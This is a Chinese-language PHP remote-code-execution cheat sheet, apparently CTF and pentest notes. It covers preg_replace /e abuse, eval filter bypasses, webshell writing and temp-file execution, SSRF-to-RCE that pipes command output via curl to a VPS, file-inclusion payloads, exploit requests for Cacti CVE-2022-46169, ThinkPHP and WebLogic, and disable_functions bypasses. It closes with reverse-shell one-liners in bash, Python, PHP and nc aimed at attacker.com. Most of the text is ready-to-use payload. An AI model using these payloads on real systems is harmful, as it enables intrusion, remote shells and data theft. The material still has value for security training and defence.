RCE高级利用

preg_replace e模式深入分析

漏洞原理

preg_replace函数在PHP 7.3之前支持/e模式,该模式会将替换字符串作为PHP代码执行。

1
2
3
4
5
6
7
8
9
10
11
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}

foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

执行过程分析

第一个坑:后向引用

正则表达式中的\1表示第一个子匹配项。在替换字符串中,\\1会被转义为\1,然后作为后向引用使用。

第二个坑:PHP命名规则

PHP中变量名不能包含.等特殊字符,这些字符会被替换成_。因此?.*={${phpinfo()}}中的?.*会被替换,导致正则匹配错误。

第三个坑:可变变量

PHP中双引号包裹的字符串可以解析变量,而单引号则不行。{${phpinfo()}}中的phpinfo()会被当作变量先执行。

执行流程

  1. 传入?\S*={${phpinfo()}}
  2. 正则匹配到{${phpinfo()}}
  3. phpinfo()先执行,返回true(1)
  4. 变成${1}
  5. 替换字符串为strtolower("\\1")
  6. \1被替换为匹配内容{${phpinfo()}}
  7. 最终执行strtolower("{${phpinfo()}}")
  8. phpinfo()再次执行

Payload构造

基础Payload

1
?\S*={${phpinfo()}}

原理说明\S*匹配非空白字符,可以避免.被替换的问题。

调用自定义函数

1
?\S*=${getFlag()}&cmd=phpinfo();

原理说明:先调用getFlag()函数,该函数中包含@eval($_GET['cmd']),然后通过cmd参数执行任意代码。

注意事项

  • /e模式在PHP 7.3中被彻底废弃
  • 需要正则表达式能够匹配到恶意内容
  • 双引号中的变量会被解析,可以利用可变变量特性

eval长度限制绕过

场景分析

1
2
3
4
$param = $_REQUEST['param'];
if(strlen($param)<17 && stripos($param,'eval') === false && stripos($param,'assert') === false) {
eval($param);
}

限制条件:

  • 长度小于17
  • 不包含eval和assert

命令执行绕过

反引号方法

1
param=`$_GET[1]`;&1=bash

原理说明:反引号执行命令,长度为12,不包含eval和assert。

exec方法

1
param=exec($_GET[1]);

原理说明:exec执行命令,长度为16,不包含eval和assert。

文件包含绕过

原理说明:利用file_put_contents逐字符写入文件,最后包含执行。

写入脚本

1
param=$_GET[a](N,a,8);&a=file_put_contents

原理说明

  • N被当作常量,未定义则转换为字符串’N’
  • a被转换为字符串’a’
  • 8表示追加模式(FILE_APPEND)

逐字符写入

1
2
3
4
5
6
# 写入webshell的base64编码:PD9waHAgZXZhbCgkX1BPU1RbOV0pOw==
# 每次写入一个字符
param=$_GET[a](N,P,8);&a=file_put_contents
param=$_GET[a](N,D,8);&a=file_put_contents
param=$_GET[a](N,9,8);&a=file_put_contents
# ... 依次写入所有字符

包含执行

1
param=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N

原理说明:使用php://filter伪协议对文件进行base64解码后包含。

变长参数绕过

原理说明:PHP 5.6+支持变长参数,可以使用func(...$arr)将数组展开为多个参数。

Payload

1
2
3
4
5
6
POST /test.php?1[]=test&1[]=var_dump($_SERVER);&2=assert HTTP/1.1
Host: localhost:8081
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

param=usort(...$_GET);

执行流程

  1. $_GET包含[1=>['test', 'var_dump($_SERVER);'], 2=>'assert']
  2. ...$_GET展开为['test', 'var_dump($_SERVER);'], 'assert'
  3. usort函数接收两个参数:数组和回调函数
  4. 回调函数assert被调用,参数为'var_dump($_SERVER);'
  5. 执行assert('var_dump($_SERVER);')

原理说明:usort的第一个参数是数组,第二个参数是回调函数。通过展开数组,将恶意代码作为回调函数的参数传入。

PHP5+shell打破禁锢

场景分析

1
2
3
4
5
6
7
8
9
10
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
eval($code);
}

限制条件:

  • 长度不超过35
  • 不包含字母、数字、$_

PHP7解决方案

原理说明:PHP7支持($a)();这种动态函数调用方式。

1
(~%8F%97%8F%96%91%99%90)();

原理说明

  • ~是取反运算符
  • %8F%97%8F%96%91%99%90phpinfo取反后的URL编码
  • (~%8F%97%8F%96%91%99%90)得到phpinfo字符串
  • ()调用该函数

PHP5+shell解决方案

原理说明:利用shell的.命令和glob通配符执行上传的临时文件。

上传临时文件

1
2
3
4
5
6
7
8
9
10
POST /upload.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: application/octet-stream

<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--

原理说明:PHP会将上传的文件保存到/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。

执行临时文件

1
?><?=`. /???/????????[@-[]`;?>

原理说明

  • ?><?=退出PHP模式,进入shell模式
  • .命令执行文件中的命令(不需要执行权限)
  • /???/????????[@-[]使用glob通配符匹配文件
    • /???/匹配3个字符的目录(/tmp/)
    • ????????匹配8个字符的文件名
    • [@-[]匹配大写字母(ASCII码在@和[之间)

Glob通配符详解

  • * - 匹配0个及以上任意字符
  • ? - 匹配1个任意字符
  • [^x] - 匹配不是x的字符
  • [0-9] - 匹配数字
  • [@-[] - 匹配大写字母(ASCII 64-91)

原理说明:PHP临时文件名包含大写字母,而/bin//lib/等目录下的文件名都是小写,通过[@-[]可以精准匹配到PHP临时文件。

SSRF结合RCE

原理说明

SSRF(Server-Side Request Forgery,服务器端请求伪造)可以结合RCE漏洞,通过服务器发起请求来执行命令。

迅睿CMS案例分析

漏洞点

1
2
3
4
5
6
// API控制器下的qrcode方法
public function qrcode() {
$thumb = $_GET['thumb'];
$size = getimagesize($thumb);
// ...
}

原理说明getimagesize函数如果接收URL地址,会尝试请求该URL。没有判断URL必须是图片类型,可以传入PHP URL。

利用步骤

  1. 在VPS上创建PHP文件
1
2
<?php
header("location:http://127.0.0.1/flag.php?cmd=curl http://vps:port/`whoami`");

原理说明:当服务器访问这个文件时,会重定向到本地的flag.php,并通过GET参数执行命令,将结果发送到VPS。

  1. 构造请求URL
1
/?s=api&c=api&m=qrcode&text=1111&thumb=http://vps:port/x.php

原理说明:通过thumb参数传入VPS上的PHP文件URL,服务器会请求该URL并执行重定向。

  1. 执行命令
1
2
3
4
5
// 读取根目录
<?php header("location:http://127.0.0.1/flag.php?cmd=curl http://vps:port/`ls /|base64`"); ?>

// 执行readflag
<?php header("location:http://127.0.0.1/flag.php?cmd=curl http://vps:port/`/readflag`"); ?>

原理说明:通过base64编码避免特殊字符问题,最后执行/readflag程序获取flag。

其他SSRF场景

file_get_contents

1
2
$url = $_GET['url'];
$content = file_get_contents($url);

curl

1
2
3
$url = $_GET['url'];
$ch = curl_init($url);
curl_exec($ch);

fsockopen

1
2
$fp = fsockopen($_GET['host'], 80);
fwrite($fp, "GET / HTTP/1.1\r\n\r\n");

文件包含漏洞利用

本地文件包含

原理说明:利用include、require等函数包含本地文件执行代码。

包含日志文件

1
?file=/var/log/apache2/access.log

原理说明:在User-Agent中注入PHP代码,访问后代码会被写入日志文件,然后包含该日志文件执行代码。

包含上传文件

1
?file=/tmp/phpXXXXXX

原理说明:上传图片,在图片中插入PHP代码,然后包含上传的临时文件。

包含session文件

1
?file=/var/lib/php/sessions/sess_PHPSESSID

原理说明:在Cookie中设置PHPSESSID,并在session中写入代码,然后包含session文件。

远程文件包含

原理说明:当allow_url_include开启时,可以包含远程文件。

包含远程文件

1
?file=http://attacker.com/shell.php

使用伪协议

1
2
3
4
?file=data://text/plain,<?php system('ls');?>
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOz8+
?file=php://input
POST数据:<?php system('ls');?>

原理说明

  • data://伪协议可以直接包含数据
  • php://input可以读取POST请求体
  • base64编码可以绕过某些过滤

实际漏洞案例分析

Cacti CVE-2022-46169

漏洞描述

Cacti 1.2.17-1.2.22版本存在命令注入漏洞,攻击者可以通过X-Forwarded-For请求头绕过校验并执行任意命令。

漏洞代码

1
2
3
4
5
6
// remote_agent.php
$poller_id = $_GET['poller_id'];
if (get_client_ip() == '127.0.0.1') {
// 执行poller命令
system($poller_command);
}

利用步骤

  1. 创建Graph(需要POLLER_ACTION_SCRIPT_PHP采集器)

  2. 发送恶意请求

1
2
3
GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: localhost.lan

原理说明

  • X-Forwarded-For: 127.0.0.1绕过IP校验
  • poller_id参数直接拼接到命令中
  • 反引号执行命令
  1. 验证执行
1
docker exec -it cacti_container ls -la /tmp/success

其他常见CVE

Struts2系列

1
action=<redirect:http://attacker.com>

WebLogic XMLDecoder

1
2
3
4
5
6
7
8
9
<java version="1.4.0">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>/bin/sh</string></void>
<void index="1"><string>-c</string></void>
<void index="2"><string>whoami</string></void>
</array>
</void>
</java>

ThinkPHP5远程代码执行

1
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

绕过disable_functions

原理说明

PHP的disable_functions可以禁用危险函数,但有多种方法可以绕过。

LD_PRELOAD绕过

原理说明:通过LD_PRELOAD环境变量加载恶意动态链接库,在程序启动时执行代码。

Payload

1
2
3
4
<?php
putenv("LD_PRELOAD=/tmp/evil.so");
mail("", "", "", "");
?>

原理说明:mail函数会调用系统sendmail,sendmail会加载LD_PRELOAD指定的库,执行其中的代码。

Shellshock绕过

原理说明:利用Bash的Shellshock漏洞(CVE-2014-6271)。

Payload

1
2
3
4
<?php
putenv("PHP_XLSD=() { :; }; /bin/bash -c 'whoami'");
system("bash -c 'echo PHP_XLSD'");
?>

FFI绕过(PHP 7.4+)

原理说明:使用FFI(Foreign Function Interface)调用系统函数。

Payload

1
2
3
4
<?php
$ffi = FFI::cdef("int system(char*);");
$ffi->system("whoami");
?>

ImageMagick绕过

原理说明:利用ImageMagick的漏洞执行命令。

Payload

1
2
3
4
<?php
$image = new Imagick("label:'<?php system($_GET[cmd]); ?>'");
$image->writeImage("/tmp/shell.php");
?>

反弹Shell

Bash反弹

1
bash -i >& /dev/tcp/attacker.com/1234 0>&1

原理说明

  • -i 交互式shell
  • >& 将标准输出和错误输出重定向
  • /dev/tcp/attacker.com/1234 TCP连接
  • 0>&1 将标准输入重定向到标准输出

Python反弹

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker.com",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP反弹

1
php -r '$sock=fsockopen("attacker.com",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

NC反弹

1
nc -e /bin/sh attacker.com 1234

注意:某些版本的nc不支持-e参数。

无NC反弹

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attacker.com 1234 >/tmp/f

原理说明

  • mkfifo创建命名管道
  • cat /tmp/f读取管道内容
  • /bin/sh -i启动交互式shell
  • |nc将输出发送到攻击者
  • >/tmp/f将接收到的数据写入管道